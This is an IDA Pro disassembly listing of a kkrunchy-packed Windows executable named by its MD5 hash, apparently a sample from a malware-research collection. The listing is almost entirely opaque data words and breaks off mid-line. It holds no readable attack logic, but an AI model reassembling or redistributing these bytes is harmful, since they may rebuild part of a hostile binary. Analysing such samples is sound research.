; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 423020578A524F32F842FDD1B9C682D0 ; File Name : u:\work\423020578a524f32f842fdd1b9c682d0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 3E0000 ; Section 1. (virtual address 00001000) ; Virtual size : 00047DEA ( 294378.) ; Section size in file : 00047DEA ( 294378.) ; Offset to raw data for section: 00001000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute kkrunchy segment para public 'CODE' use32 assume cs:kkrunchy ;org 3E1000h assume es:nothing, ss:nothing, ds:kkrunchy, fs:nothing, gs:nothing dd 0CAF39DE6h, 0EF56D210h, 3C380941h, 860B4A4Ah, 0A9DB8ED2h dd 38FA638Dh, 314E3287h, 9897FE69h, 94C908BFh, 5B68DCE4h dd 0D5144794h, 9D8BD788h, 0DB1DA977h, 0AC2CB8C4h, 3F761C6Eh dd 6E758683h, 6782D3A1h, 83E10ED6h, 0DA662271h, 5866C14Bh dd 0D245D568h, 29195CBBh, 339DA4B9h, 94F914E3h, 87763F64h dd 567B263Bh, 0BD3BA9B7h, 0AA1D5847h, 357F0E59h, 0D4A22EABh dd 0ADEDC721h, 0C63B17B4h, 87377C17h, 0E99E9FA4h, 4BC70F87h dd 1D7538E9h, 9E698A4h, 61D92CAFh, 0EDBC38Fh, 707025BFh dd 0B40D7D5Dh, 0D9C57AD3h, 0F51347FAh, 8CC1248Fh, 260C862Ch dd 0AFD7C680h, 38433934h, 77687BD7h, 0A88126DDh, 0A773CEB6h dd 951D00EEh, 0F8FCD62Bh, 63708BA3h, 11DAA8C2h, 6688A1BBh dd 1D585053h, 2DB77C7Ah, 4D50674Eh, 0EF208F2Ah, 0E6E68F32h dd 7728DC4Eh, 0E4B81CBFh, 0AE86D8C2h, 2E8901DCh, 0BC121D79h dd 61141F93h, 0EB359166h, 0D5294433h, 180ECD98h, 0D72C1A81h dd 284EFA2h, 5BCF011Eh, 0EBFEACD7h, 45FDC5B8h, 0F39D9F91h dd 6A5B2974h, 6EE55EFAh, 0D511CA15h, 0BB7BBD54h, 89CF3425h dd 6D682B86h, 984A14D9h, 80D0BA63h, 0BAB309BAh, 1417D0F0h dd 27D4B79Ah, 8FAC935Ah, 181D35C6h, 70DF83C7h, 0A57FE0D9h dd 8FA352D4h, 28C37697h, 0DE837D39h, 649804A7h, 0F4AD4CEDh dd 4CCC4B42h, 0A4DEE20Dh, 9B6C445Bh, 7A6056ECh, 6A5799FDh dd 210DA1AEh, 0C60EE177h, 198633AEh, 0E12EDF47h, 9009E765h dd 347114ACh, 0C60F61C0h, 0F3A03D10h, 469E5D11h, 492B6601h dd 1E7D8E3Dh, 0CE90202Dh, 0E34E0484h, 89177334h, 0E1642202h dd 97DFF2FCh, 1D8D1F1h, 9293FF4Bh, 392C7A2Ch, 1CAAC7B7h dd 25930A6Ch, 199441EAh, 157F3FC6h, 11630BC3h, 70F1B3Ah dd 5E647687h, 0E3E23932h, 76C495h, 0D8E89D14h, 0A102452Ch dd 774AE0CAh, 47FCB391h, 7CDCCB41h, 4350821Ah, 4616DAAh dd 400EAFFDh, 4881F38Ch, 2ADE08A0h, 129503FFh, 0F1538CC5h dd 78AB9858h, 1ABE3735h, 0F0E0257Dh, 0FC79DE95h, 7F4D2ADBh dd 0BCF1F0DBh, 85D017DBh, 79A6B3D9h, 5CB56656h, 0CAB7FAACh dd 6EA950DBh, 4367C019h, 0DCEC8CC8h, 0FF11C5FFh, 6508CA28h dd 0AF2AD4A7h, 56FF8E41h, 0F56BAEE7h, 0F3E08C6Eh, 37C329B6h dd 0CEFF44DFh, 9A67477Bh, 35CB84DDh, 23365E88h, 0E12CDED6h dd 80FD7925h, 542DF267h, 0FF9693D3h, 0B75583Bh, 0CC5F8D39h dd 5786BA89h, 6078514Ch, 0C1E03FA1h, 71DB063Ah, 6A45A4B2h dd 4394B94Eh, 0CA0A24FEh, 0C8E1DC8Bh, 0CA8A03C3h, 0A09C3694h dd 198E9567h, 900F4ECEh, 0EEE91453h, 78811A7Fh, 0E4F4F1ADh dd 50B4FC68h, 204B8F0Ch, 0B2B6D87Ch, 0C118B166h, 640BA843h dd 0BE4E8B01h, 0F7B490BCh, 0B6AD78FCh, 0EAB70B62h, 8368CDEFh dd 0C0C4016h, 180A6E6Dh, 1D22E692h, 0F8E8A1F7h, 1F4663CAh dd 0C340FEB9h, 0A3EE6354h, 60B1D228h, 25E01115h, 7E36D5FDh dd 1B4AFCE9h, 0EC24828Ah, 0C195CFFDh, 5D13159Dh, 92B2F71Dh dd 0E72E6FF9h, 0BF9661DCh, 0BC3ED2E9h, 1759E0B9h, 6C0CCE61h dd 53EBB574h, 0CBFC2865h, 0EC2890ADh, 0EAB2E6F1h, 7DBDE80Dh dd 335A7A0Eh, 59FDDB80h, 0A7BCB955h, 0BCE50D06h, 0FE70D298h dd 2EC96830h, 0B64F4ED1h, 0D30B0B94h, 78B6CADh, 28EF1C3Dh dd 0B878AD5Dh, 816F514Ah, 264CD19h, 0E256BA71h, 4052AE1Ch dd 0F5078A56h, 0EE48520Dh, 748B9B30h, 4AC8ED83h, 0B5F62EB3h dd 0E779D9CEh, 9A4EE50Ch, 35793BEEh, 45C420A1h, 590742FBh dd 4F5E3929h, 53E15EAFh, 25E03939h, 69DDD70h, 69446A58h dd 0E8B7134Eh, 11DE9889h, 0FFB5BFB3h, 0F61728A5h, 24E57D36h dd 594C0ADh, 511A1D1h, 9892DD6h, 75408C45h, 553669A1h dd 3E7BF0CAh, 51C9046Ch, 0FDC6B706h, 4374E185h, 5E9E614Eh dd 3BE68E4Ch, 0A48FABF9h, 371656B2h, 37D97B9h, 29AB0FBDh dd 0AEB859EBh, 0E691450Bh, 8C399797h, 0B0502941h, 9F5C0B87h dd 0BAC4D02h, 858164D8h, 951CD550h, 51AD0045h, 9ED22BACh dd 0AB653D04h, 0E30EE6B9h, 58281715h, 972914D6h, 0A7F51F2Dh dd 236AD34Dh, 2AF476Bh, 0BD0B2D31h, 0C3F5B913h, 33CABCB6h dd 5CAC673Dh, 0B6556D11h, 0F8D4846h, 252B72EBh, 0C88504ABh dd 4AD43006h, 871CC0E2h, 27E0A6A5h, 0AA5AA336h, 0D0C11B4h dd 0DC70710Ch, 2666D646h, 0A6A9B5C6h, 39B10B4Fh, 3F721419h dd 6D9E2B82h, 6A30AA31h, 419BD489h, 0A851E3D0h, 28493A8Dh dd 8C064215h, 0ED115271h, 72690D5Eh, 1268669Bh, 21C10781h dd 5353C0A1h, 4B14EF26h, 331D4B2Eh, 2B708357h, 0C62498A0h dd 0B77B9192h, 0A8726656h, 5E5EE968h, 0F4AABECAh, 87D3918h dd 59B7492h, 52CE0B58h, 83E3CE68h, 0DD62B3C0h, 0E0324162h dd 63778D62h, 47D0A06Dh, 0AF650CF5h, 9A4B1D4Eh, 85FAF8A2h dd 6F531074h, 0D75E62D1h, 0E299F79Dh, 0A2F921E6h, 5EB9ACE6h dd 627FCFD3h, 0E1982763h, 0CE13C3E8h, 0E625B7A3h, 200724B0h dd 52E8F54Bh, 1558B19Eh, 468A61h, 0FAEB756Dh, 9089DFF6h dd 9F39D83Fh, 9DDF5E5Dh, 72184C7Bh, 0EBFDE89Bh, 0E468CD43h dd 15567667h, 382CC1CCh, 8AABE696h, 0C1C1CABDh, 16CF9F5Ch dd 0FBD27783h, 6F8F2BFDh, 5FB2EACAh, 0E1A9E789h, 9CAE8A4Ah dd 7CF0056Ah, 0D47A57C1h, 0A304D30Dh, 0D7B936E6h, 0CB36940Fh dd 1EC9C627h, 1D32E8F8h, 0E25E0E63h, 979A8EA7h, 0FBFBF881h dd 3F2A7444h, 1CCBAE68h, 0D8537E1Bh, 0A95BC537h, 268F87Dh dd 0B435137h, 0D3A5D66Ah, 8A070C73h, 0FB9A640Dh, 0CC5C0A79h dd 329F6F4Dh, 0E3A6A929h, 5F6B250Ch, 3CAA0F7Bh, 7D53ADECh dd 4785001Bh, 0A6AE64F4h, 0A5D13C74h, 0F326A2FAh, 3C99CEF3h dd 9AC73505h, 88042A7Fh, 0B20B5131h, 6636370Eh, 19A42EEh dd 63244906h, 8F243DD6h, 641F2491h, 4A9EDB40h, 4434F130h dd 0D6073755h, 89804690h, 7FAC83FEh, 94A55D7h, 31D4FE13h dd 0D6883090h, 0BA4A9A61h, 94B7F6F5h, 3A6C11B3h, 6A4E58E9h dd 0B74959D7h, 0CC30E46Dh, 0AA31EB7Dh, 0EF00AC91h, 0ECB61E48h dd 0C8A1BFF7h, 0E5E33917h, 807D632Ah, 0FDF29AC7h, 1BD59B22h dd 57B948F4h, 0A2499B72h, 1158836Ah, 7F5E7EDFh, 0F8DC181Ah dd 0AC40AB79h, 0A33D71EFh, 9CFF254Ah, 0B54FAECEh, 0FFB0BE68h dd 1235D242h, 0C3D25350h, 37C6F555h, 1EBD7422h, 215A36CDh dd 67BE3609h, 0A5CBC598h, 0ED572B2Eh, 0ED806A8Dh, 53C4405Ah dd 76FE0290h, 0FD2CBD7Bh, 0BBDAB43Bh, 0FA308C0Bh, 5479AFAFh dd 0CFFE0EB8h, 38D954E1h, 0A2668525h, 0E3510A9Fh, 8267CB6Fh dd 0CE4AE621h, 0BCECB03Dh, 18A17FE6h, 0B86E74EFh, 0F5E80343h dd 6D679834h, 0A1C55EC9h, 0C7FC55BBh, 0AF66A2E9h, 6487D47Eh dd 0A4296905h, 0F27F7146h, 10E10C49h, 0C77A405h, 58D714C8h dd 85094B25h, 0FA9E5170h, 46EBE6E7h, 0B4406A1h, 7EE6D84Ch dd 0CED2ED7h, 5E9C0C11h, 0EF485CC4h, 0B05E37F6h, 0EBE5C2BAh dd 0A42D61B2h, 1F122F7Dh, 8DA6997Fh, 0E11CE145h, 6D66A2ECh dd 0C456E1D9h, 12AF3263h, 105C42ABh, 99A1353Bh, 992271B4h dd 6484ED1h, 0BBA3B03Fh, 86A77C98h, 2FC771E2h, 49392DDAh dd 5B59318h, 8A859271h, 97DD9937h, 0EE71BB78h, 4F1E231Ah dd 9377EC74h, 1D13855h, 0FCDB6BA2h, 90C8D0B9h, 95797EBEh dd 2C83967Fh, 0CE6C05B5h, 410DACD4h, 0D114E8E6h, 4577BE22h dd 17C55AB7h, 570A05B5h dd 6F47AF00h, 11D5BC64h, 6B5991A5h, 82B7854Ah, 57F0C786h dd 0F5F13883h, 834A3095h, 0A21AC3ECh, 8D4B52C1h, 3A3ACC9Dh dd 0A55D4E7Eh, 75304ABDh, 0F1E6D363h, 5A5E0A30h, 4068B4A9h dd 1EAA5D00h, 1CEEF892h, 0A5006AEh, 0E6002BB7h, 0EF451290h dd 6B7B1FF1h, 0DE67F74Ah, 8EB55EDDh, 7F532830h, 0F5C8CB96h dd 7FD38860h, 0DBA4F4E4h, 5FB296E9h, 2FAF47C4h, 176CDA1h dd 7BA5D0D4h, 0DC23F24Ah, 0D8E1BCFAh, 46621D57h, 0CEF31D6Eh dd 0C72019C1h, 1142E849h, 6E8302CDh, 0EB494CBBh, 0B3AFF1D2h dd 71A49B8Dh, 0FFF83058h, 183EBFDCh, 0D2B88C71h, 9DCFB2E7h dd 0F8EBAAF0h, 0EE446EB7h, 0D155E789h, 0E993CFE7h, 98FEE40Ah dd 0AFE31C41h, 8D98F06Fh, 4A516DA0h, 44506F2Ah, 0C16181E8h dd 0FEE36CA5h, 0C62CFB9Ch, 0D5441A8Eh, 4DFFCCF2h, 3FE85925h dd 58655BA2h, 2CB9FD02h, 7CE6DAD0h, 0A5A91B72h, 8413E819h dd 0C24A094Fh, 8CF55280h, 2CDA7CD1h, 42C2C58Ch, 365F0487h dd 231D072Ah, 7E79C35h, 81821339h, 8CBFEABFh, 0FDF59D17h dd 8C30E469h, 95DF7EACh, 889A04Eh, 6616B7ADh, 0BB27CAF9h dd 11C7BAEFh, 764803AFh, 487067F1h, 0CCB90D35h, 9F020414h dd 0B26A1F89h, 0F7F4896Dh, 0A151859Ah, 70D13E90h, 90819320h dd 3D2CB74Fh, 19982794h, 0BB212FCh, 59D68ED9h, 8617E6A4h dd 0DDCF2724h, 0DB197E28h, 2070EF51h, 62B1B3EDh, 3429624Ah dd 7958AB99h, 7D516042h, 77214EF9h, 9352CEF2h, 0C9DF1F80h dd 55CD7C17h, 8CE3CEB3h, 0EE22877Bh, 0A26725D4h, 67A6E4A9h dd 0D584FFC5h, 0BC3716D5h, 674AF9A8h, 1E867826h, 668E677Ch dd 9F757EF5h, 4AAE8A4Eh, 6D2541B5h, 9EF1B9D1h, 0F0D2163Eh dd 899AFCA9h, 2CC70D29h, 821C01CBh, 0D4BB217Dh, 9217DECEh dd 4EFE59B4h, 4A6483A7h, 8B2B1A03h, 4972DD89h, 30A8F07Eh dd 5B329E37h, 10A96F6Dh, 5EE6E2AFh, 7A9F3884h, 0EB3AA912h dd 33F62137h, 0D9C90EB1h, 20E7B8B7h, 0E03DB676h, 1C4FC3C7h dd 40E9424Dh, 551392E5h, 18E36398h, 9132C67Ah, 0AA1D34B5h dd 602BC436h, 361CD023h, 1FA4039h, 4BAA3134h, 0D36C2E37h dd 0FDF61BA2h, 0E61EA021h, 35932D15h, 0C213C20Fh, 8BFCB91Bh dd 9BD5B50Ch, 0D4335000h, 7B13CB01h, 6FFAB668h, 0E3B80023h dd 8DFD09D6h, 6E92B9ACh, 568DBDE2h, 9CEB9A11h, 268AE7C1h dd 5C81E1E2h, 0DA7FFE39h, 0C378C982h, 0F1F438DBh, 0F2CE6B7Ch dd 902ED8B9h, 0AE2A3A83h, 0ACFEB06Dh, 7D2B2D44h, 0C330C678h dd 0D4825B1Bh, 5AFD33C1h, 0A8EB117h, 1795E508h, 6D4B0C3Ch dd 0FE6A128Dh, 95D56200h, 1D3E4566h, 1A2220C2h, 40524D1Dh dd 0E5B73C54h, 0AF7267AFh, 4753025Dh, 3AAA37D9h, 1F84652Ah dd 0CA8B9DC7h, 9409BFC4h, 0BACF4DD6h, 3B98ACEBh, 5948F4B9h dd 689BE7EEh, 564E68FCh, 797A7D0Ah, 415162ECh, 0E6421B7Ch dd 0F6119600h, 0ED5B1B97h, 502AB1C9h, 11AA208Bh, 4F37F4A7h dd 3F0A4B26h, 118412A7h, 0A4156929h, 6B183E0Ch, 0C50F0833h dd 0D8B27DE6h, 45B3FB68h, 554E5E12h, 7F6EB6DCh, 5DF20FEAh dd 1DF7A037h, 3382A0F1h, 5D9096EAh, 71754421h, 1ABFF924h dd 9626E47Eh, 448D5118h, 95E5B924h, 6ECB49F1h, 96509CADh dd 0FDCBD696h, 4863B2B1h, 963A7D9h, 0DB31A1B6h, 4AEF73A3h dd 281A4CA1h, 8B99F7ABh, 0C38FCB91h, 6C30D1EEh, 3DC8CD51h dd 0E7B41A05h, 0DC4EF619h, 7FC309E6h, 802ADD12h, 0E679A0B3h dd 12F25314h, 19A4B8ACh, 91638616h, 0C491945Eh, 3AA4815Dh dd 640439BFh, 51952A15h, 0D3121727h, 22885C4Ch, 0A7AF354Ch dd 6D6BF689h, 9AD32265h, 0DA8A693Eh, 83FFC288h, 0FBE7F9F0h dd 0D1E1256Ah, 8602C9A4h, 0CE988FC1h, 0B68E5BE7h, 290333F3h dd 31A25908h, 0BB860341h, 817286BDh, 668480F7h, 110A84E5h dd 0D06876BFh, 631CF564h, 0A184FF6Bh, 7899FA3Dh, 0EF7E8C39h dd 635524D0h, 2C8A3171h, 0DCD56EEFh, 0BB45329Dh, 0FDBE97D1h dd 9F8174CBh, 1D15C4C2h, 7E76AB89h, 857DD600h, 0FE293559h dd 2E55B7BAh, 0AC2B93F8h, 0D0C148BAh, 1BC411DBh, 0EE0A02BFh dd 30C1F38Ah, 87C9662Ah, 0F9C34E34h, 4CAF5FBFh, 92D135Dh dd 0BC11BE3Fh, 8003131Ah, 5EB51246h, 85F6109Bh, 0BE92EA52h dd 0CF232E2Eh, 779271BDh, 33352734h, 943136CAh, 30A57D3Bh dd 5DBE0F87h, 85952328h, 8617D3F5h, 55C6AECFh, 0A7844575h dd 4EEF9316h, 30D69321h, 68C2D58Ch, 0F70320FEh, 0E81170DCh dd 0CA0E4DC6h, 65048AAAh, 0A85FDBF2h, 2210C74Eh, 0DB00B3D8h dd 48860B84h, 785355Dh, 0CA60F3FFh, 0A822DCCAh, 752082FCh dd 0F602CBAEh, 0F483B50Ch, 101AA57Dh, 43EDD945h, 497A48BCh dd 6DC718B9h, 0AF1C92Bh, 1FD2860Bh, 0B74F5049h, 1BC4F38Ah dd 4FB592DDh, 9E09AAB5h, 5BD6DB51h, 2BE16925h, 0F73B1BFCh dd 6DFE9DCEh, 8B398056h, 5FB2926h, 3F9B7CCEh, 9AB48B58h dd 0B1CBB42Eh, 0D44CA092h, 36C3A0BBh, 0D2C9742Fh, 0F7648AA8h dd 774FE14Eh, 0FFE6C34h, 0AA86EC69h, 0E4D1CC24h, 0EAE2BB49h dd 0F5EA734Ah, 4989FD50h, 0C92E537h, 0B3EE7174h, 9DCB02FFh dd 4698AC3Ah, 391A655Ah, 6DD2B7DCh, 486546E9h, 0DC79B09Ah dd 0AE0811Eh, 0BFCB21A4h, 433DAE3Eh, 176D4272h, 0B9AF2F76h dd 2F73D20Ch, 1C257037h, 5EB8D5CAh, 8721A5A8h, 32CD7DBDh dd 0DE1531F9h, 0DA6B5C33h, 0A5B412B7h, 0C34DCBB3h, 0CC72A90Dh dd 997F86F9h, 353B0FB7h, 35B2F5D3h, 926021DAh, 0B3E5F792h dd 0BA255AD1h, 8428C9CEh, 0F27CD654h, 77129724h, 51C0B739h dd 0A7F15C2Dh, 2880E985h, 0C0C68134h, 4E4DB472h, 0B6E03967h dd 0F4E3C466h, 0BFC970C2h, 0DF5DF88Dh, 0BCABD988h, 0BE44F52Dh dd 0FEC5D1D4h, 0A62EB7C0h, 52D68D5Dh, 69E5F0CAh, 0C699C658h dd 91545FE0h, 0C58EBB8Eh, 8D16C0B4h, 431A61E4h, 0AE589834h dd 0FD13D951h, 33A3E8h, 0C614389Eh, 9DCDB181h, 85DA024Dh dd 569A6158h, 0D7387949h, 7E26FF49h, 0EC3EDB72h, 4AD6CBA2h dd 0E81BE535h, 0D5E98D83h, 1AF43652h, 0BA467C71h, 0CAC7F6A7h dd 177E2B1Dh, 523E0B31h, 3EE99DCh, 0C9B3776Eh, 5420B3A3h dd 0F06DF619h, 6D9D7DEDh, 7668591Eh, 852D461Fh, 0AE44CB51h dd 4C284D79h, 0F0ACEA3Ch, 25910B7Ch, 0EA27C726h, 437DF78Eh dd 0F702EC5Ah, 278B247h, 0B7E55996h, 0C502EA7h, 39685374h dd 855F858Bh, 5565AA57h, 0E397526h, 0D02B1248h, 8DD47251h dd 955DF576h, 50AA4550h, 6CFD844Bh, 99E5534h, 0FDCB02BBh dd 0E60C48D3h, 88551CAFh, 0D264E485h, 0C3558E8Ah, 0AEFCB8F7h dd 74520DE9h, 0D3C5A9A6h, 0F3FE0CB7h, 3CE533AEh, 0EFAA41B0h dd 91A77FB2h, 0BE63D377h, 0ABF07648h, 2467493Ah, 35A621ADh dd 0E6A20497h, 529E1F2Fh, 7C69941Eh, 1B185240h, 953334F8h dd 0EEC34B9h, 0B09F3259h, 1508D3A6h, 0D9617ECFh, 3CF6CD69h dd 0DE6E1F3Ch, 56E627AFh, 0EDD56BBBh, 6CB36ED1h, 113ED15Ch dd 0C634D6CFh, 1F9E1A4Ah, 6CDA7815h, 937DB1CFh, 9615E767h dd 5EBA42E2h, 8A9D23FDh, 0FBCD2D10h, 0C816AE61h, 0D854EB7Ah dd 0D8273305h, 3EBD35CAh, 0E99C3BFEh, 508D0639h, 6691EDD6h dd 76438F05h, 0C57B8145h, 2F2F8C41h, 6FBF971h, 0F065A849h dd 41F99AD1h, 0BFD53C56h, 798831CCh, 3F37BB95h, 0B83E8D2Ah dd 0AC07364h, 0AA3A39F7h, 0D1ABD640h, 0ABDC00E8h, 2AF8D8CFh dd 274274C5h, 0A1FEF089h dd 0E4898422h, 0B0014783h, 5ED97B90h, 0DEC643A4h, 0FF38D3F0h dd 70C2702Eh, 0CA1B4DFFh, 3EA4C0A9h, 4557648h, 391C9EC0h dd 0D0E9C193h, 0F29677CDh, 0EA78B427h, 78CFCB64h, 374CA341h dd 0E94AF01Ah, 0E4B80BBAh, 4D7AB4F9h, 393B072Fh, 25A4A16Ch dd 2CB41F29h, 497C6EB8h, 0C1257C96h, 47E849A9h, 0CA57D073h dd 0FCA82239h, 8F97760Eh, 41587006h, 0B3FE4495h, 0ABCE17BBh dd 0BF7E30DCh, 2FE51039h, 0DF03570Fh, 818255ACh, 0C9998200h dd 0DAE58D13h, 0EC1CBB1Ah, 397566C8h, 0C41F76D3h, 4D06C32Dh dd 8E2EBFD8h, 0E43A328Eh, 619712BFh, 19A966Ah, 494CA24Fh dd 205039FEh, 0AD11624Bh, 3BB88712h, 3C81D456h, 25939463h dd 0CE2B4157h, 21AFA6D2h, 88F60AEEh, 9FBDF804h, 3D337260h dd 2289BB94h, 0AA9798A3h, 0D9D60189h, 7331E041h, 7B3FA8FEh dd 0F5CC3D27h, 64DC4D5Ch, 0DBB8DBFEh, 84108438h, 0B584765h dd 4E9683BDh, 9CA005Bh, 2014A8E8h, 1E464B3h, 1902837Eh dd 306B6D22h, 0D0DF8713h, 0C78B3642h, 63A93081h, 72B9E0D1h dd 3E939B80h, 9B170870h, 7D0A161Eh, 0D08A0DA0h, 62F1BA59h dd 6CCEA3A3h, 0E58F92Ah, 0FCE74E4Ch, 580D88FBh, 2166A6C3h dd 0FC55867Dh, 0F9928550h, 0D55E2FC2h, 0F2CF0D9Ch, 3022F54Bh dd 3430E7DCh, 146C4044h, 1EB2489h, 911EF4CAh, 6B7DE0C9h dd 0E8A18F94h, 111C3B1Bh, 0FB28261h, 237068AEh, 0B15239C3h dd 458AC267h, 0E714CFC4h, 31FDBDD7h, 94A9758Dh, 60B9F054h dd 0E1324063h, 7238D04Ah, 3E8B29BDh, 0F72E6345h, 570CAFA2h dd 0A7868D56h, 553B28CFh, 430D42AAh, 4E00259Eh, 88182E08h dd 0A0938686h, 7C2D9FA5h, 0B402C56Bh, 6999BBECh, 63AB86A2h dd 5A78EE22h, 422B30E1h, 581EF33Fh, 49712FFh, 18ABA93Ch dd 83991A16h, 202916A2h, 5FDCA0A2h, 42154B49h, 7DA52069h dd 0A0044862h, 17D74A31h, 6ED57897h, 0A21BFD2Ch, 51B102E3h dd 0A0F5AD04h, 0E029537h, 151FA1EBh, 7CAD55B4h, 2F5EE9C0h dd 0A4A04ED6h, 0DA09CF2Dh, 76BAC1A1h, 0B056D65Bh, 0E9D5754Bh dd 1D406EFDh, 689420CAh, 0AFF5305Dh, 0ABF50E1h, 0F47D4518h dd 33CA7FA5h, 48E58507h, 0CCB32D7Eh, 0AE2178C1h, 98D9188Fh dd 7328E032h, 8E32D8FEh, 5A3E0CD6h, 70C122A9h, 15E76D7h dd 0BA4C2CA4h, 8BD5D2B1h, 76CC1A47h, 9944481Dh, 382881CCh dd 48DAC584h, 8C487DC2h, 990104FAh, 0D7730BACh, 4A5797EEh dd 0F079DBCEh, 0F83C7Ch, 7C845DBBh, 1F4C1F5h, 57A25D05h dd 8E64C8C8h, 2DC3012Bh, 68D520C9h, 0D9B86083h, 777B6C9Bh dd 15C063D8h, 0A8C0FD52h, 0BC1F8609h, 5C2067F6h, 0E7CC004Fh dd 691851B6h, 5AE0F44h, 0E64EA235h, 1D266AA0h, 0FCFEEF36h dd 0EA90C0Dh, 966ADF5Ah, 0C3808905h, 2421585Bh, 4BE6A674h dd 35981D30h, 6C5F5070h, 0B93E55C9h, 0D6CBF72h, 8947B113h dd 0F20BB8E9h, 0A26D6CB7h, 64FC9DA1h, 0B58DDA63h, 6858FC77h dd 0EA818A3Bh, 7AFA0237h, 1A49E80h, 96E1730h, 0CDA30F88h dd 0B2243CD2h, 4393F548h, 4C406B8Fh, 11D3B4C9h, 47F59C86h dd 0DF4837FBh, 0B10E9040h, 93E21639h, 0D4A820F9h, 49C83D7Ah dd 0A966940Dh, 494B95B9h, 2D1C6B7Ah, 0DD74994Ah, 2C84FBC3h dd 12606336h, 0CB42E79Ah, 0D8A27DEFh, 29AAE5BCh, 0EABBD569h dd 0FC0056E2h, 0F3256E34h, 0B871669Bh, 0AB040183h, 2AEB9D0Ch dd 90844871h, 24C6DAEh, 60AD4BD3h, 0A9E7CE23h, 0FC2BDAB4h dd 465E3503h, 78FF824Fh, 0E0F135CEh, 85745772h, 0EEEA662Bh dd 1BAB5988h, 11D3BC1h, 6232698Bh, 0A5AA69FCh, 913CB167h dd 0F26E6C50h, 30E8F3C6h, 0D68C352h, 2DE6D7D8h, 0BEB5FD49h dd 45583B47h, 35702381h, 203DEDF8h, 4118B892h, 0AFDCFC03h dd 0AEA0D709h, 54682291h, 675D908Ch, 0F109F8B8h, 7D20A9A9h dd 5F3BE8FAh, 96806423h, 0AA1EF115h, 8D09B070h, 5B8B310Ch dd 0C8FF0230h, 0B0631FF7h, 6AACB9FFh, 288F7F7Dh, 0D9401BEDh dd 1F1F2EBDh, 0A246B10Ah, 9D6405F6h, 78761EDh, 0F422AEE5h dd 86BD9FC0h, 7C926A83h, 0BF57979Dh, 6FF6C20Eh, 0B1AF23BCh dd 66521881h, 56C2E132h, 7E1D5464h, 2BA5FF4Bh, 11B1AA72h dd 3A92E82Ah, 0E3CBED5Ch, 0C5B7229Dh, 1AB40ADEh, 1A7C17B8h dd 5103E2BBh, 5E7BE90Fh, 8A37566Eh, 0CA1C620Ah, 7EE7ACFCh dd 0FC1FFC8Fh, 4F65500Dh, 9F4F7A78h, 31FBCD1Dh, 0D8F9ABFCh dd 0A08D7C3Fh, 10B1A945h, 5293D237h, 69FEFD60h, 0FD6FE1E0h dd 797283A5h, 0EA31BACDh, 5A676148h, 0AC19266Fh, 0B2E05CDDh dd 0F0418684h, 403D374Fh, 0FD52F5F3h, 0BA364309h, 0E91F50CCh dd 7F46556Ah, 0C5AE2D5Ch, 81F71379h, 8050CA2h, 8D397507h dd 0D494803h, 0DC5E489Dh, 0F87F6D63h, 6B119D3Ah, 0E6CAD340h dd 0FCA0E39Bh, 6561E815h, 0B9DB55E0h, 0B938C6AAh, 36970AE0h dd 6EDE57FBh, 9AA89292h, 2FC82C9Ch, 9C4BDA96h, 0E44CC98Eh dd 2E61C68Eh, 745702D9h, 0F8D94B23h, 1067725Ah, 60724BDh dd 0FCE1CDD6h, 52AC4CDFh, 0E90DD5A3h, 2B2BEC64h, 0E2E50173h dd 1B32E081h, 9AC27915h, 0CF05D5BCh, 8E6D2AF7h, 0BF5A6749h dd 97DF50EAh, 5FA08C8Ch, 6282E1E4h, 0D8EC120h, 6AA8F0BBh dd 8B226251h, 2228FA33h, 6648A3A8h, 0E2595E3Eh, 0E8DFEBC9h dd 4A66C3A1h, 8547C8A0h, 9132A02Eh, 252C85C8h, 0DABE22F9h dd 0E66380ADh, 99A89DCAh, 0C6F35148h, 6EA7907Bh, 28B032F4h dd 5B250A15h, 269A9159h, 73621F8Ch, 0F364651h, 16B97746h dd 0A7C22261h, 0FC454AE4h, 65A7A6ACh, 4A2C8291h, 73ADD289h dd 0D39A2AEAh, 0DC7D328Dh, 3003D2AAh, 0E8623EC3h, 5888BABAh dd 2077066Dh, 442ACB86h, 0D771AFA9h, 222F21FAh, 58F3DD39h dd 0F3F6E854h, 0C31031B0h, 0C1FD3330h, 4B0259CFh, 98535495h dd 572E06Bh, 7DEA6C9Eh, 33F9CCBDh, 531CD101h, 2E83B447h dd 95B4EF6h, 37B798FDh, 85D8515Bh, 2553EAF5h, 88934DCEh dd 6EB143C3h, 0B56D5C73h, 68F7C98Ah, 0FE6A2651h, 926A3EB6h dd 4A2D95CAh, 6254DDD2h, 0C1E5EC2Ah, 0BC14D530h, 0EEB0B5A9h dd 0C516A424h, 0D84CA57Dh, 826B3AD3h, 5FAC78B8h, 7B7EB770h dd 0D27CDD8Ah, 27749DD0h, 4C5564C7h, 839C98BBh, 22BCF5B8h dd 2932E08Ah, 0C0C60C50h, 49F190BAh, 0BF416E82h, 0B9F0A8F7h dd 69617F0Ah, 4BC9930Fh, 0A4522301h, 0C6857981h, 0F232FE6Ch dd 1782E1F5h, 37A0317Eh, 24D5934Ah, 792A8124h, 0B6335BD5h dd 0E08D038Dh, 0A3DC21Dh, 26B55C95h, 3802D80Dh, 8F046101h dd 0B3B296D7h, 271E2D19h, 28D2EACEh, 149CDEFCh, 8B919CFDh dd 5D933807h, 6B0413E7h, 8A201112h, 51558881h, 8747848Fh dd 0CA427501h, 131D9591h, 40AE7F5Fh, 4D8E634Ah, 34089AB6h dd 0BBE5E964h, 8AF69279h, 4B6A9A6Eh, 2197DDAAh, 6FEAC177h dd 2BF693DEh, 30059BCEh, 0B0AA5C80h, 0E3016D5Ah, 5A3CC107h dd 4ADBDDA3h, 57ECBB8Eh, 95D8F519h, 6D070B31h, 74F52E66h dd 1523C0A2h, 0C9BCDE24h, 14FE3353h, 81A306D1h, 6AF46224h dd 0BE39F999h, 0E8514F13h, 77D03CB7h, 74D7B632h, 39C17438h dd 0B1A6D3CCh, 